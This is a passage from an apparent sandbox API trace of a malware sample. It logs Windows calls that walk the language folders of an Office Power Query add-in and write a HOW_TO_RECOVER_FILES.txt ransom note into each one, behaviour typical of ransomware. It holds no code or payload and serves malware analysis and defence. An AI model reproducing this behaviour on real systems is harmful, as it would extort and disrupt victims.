cAlternateFileName="MICROS~4.DLL")) returned 1 [0217.515] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69be349, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69be349, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a0a7fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0217.515] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0217.515] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0217.515] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0217.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0217.516] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0217.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0217.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0217.517] GetFileType (hFile=0x82c) returned 0x1 [0217.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0217.517] GetFileType (hFile=0x82c) returned 0x1 [0217.518] WriteFile (in: hFile=0x82c, lpBuffer=0x3773640*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3773640*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0217.519] CloseHandle (hObject=0x82c) returned 1 [0217.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0217.519] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl", lpFilePart=0x0) returned 0x68 [0217.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.520] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.520] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e78ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e78ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0217.520] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8b74ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8b74ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8b74ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0217.520] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0217.521] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0217.521] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.521] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0217.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0217.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0217.522] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl", lpFilePart=0x0) returned 0x68 [0217.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.523] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.523] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e78ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e78ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0217.523] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8b74ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8b74ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8b74ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0217.523] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0217.523] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0217.524] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0217.524] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0217.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0217.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0217.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0217.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0217.526] GetFileType (hFile=0x82c) returned 0x1 [0217.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0217.526] GetFileType (hFile=0x82c) returned 0x1 [0217.535] WriteFile (in: hFile=0x82c, lpBuffer=0x358e5b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x358e5b8*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0217.536] CloseHandle (hObject=0x82c) returned 1 [0217.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0217.537] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl", lpFilePart=0x0) returned 0x6d [0217.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.538] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.538] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ab054a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0217.539] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf05741b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf05741b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0217.539] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0217.539] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaaaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0217.539] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.539] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0217.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0217.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0217.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl", lpFilePart=0x0) returned 0x6d [0217.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.541] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.541] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ab054a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0217.541] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf05741b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf05741b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0217.541] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0217.541] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaaaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0217.542] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaaaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0217.542] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0217.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0217.543] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x86 [0217.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0217.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sr-cyrl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0217.544] GetFileType (hFile=0x82c) returned 0x1 [0217.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0217.544] GetFileType (hFile=0x82c) returned 0x1 [0217.545] WriteFile (in: hFile=0x82c, lpBuffer=0x35a7378*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x35a7378*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0217.546] CloseHandle (hObject=0x82c) returned 1 [0217.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0217.546] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn", nBufferLength=0x105, lpBuffer=0x206ebc60, 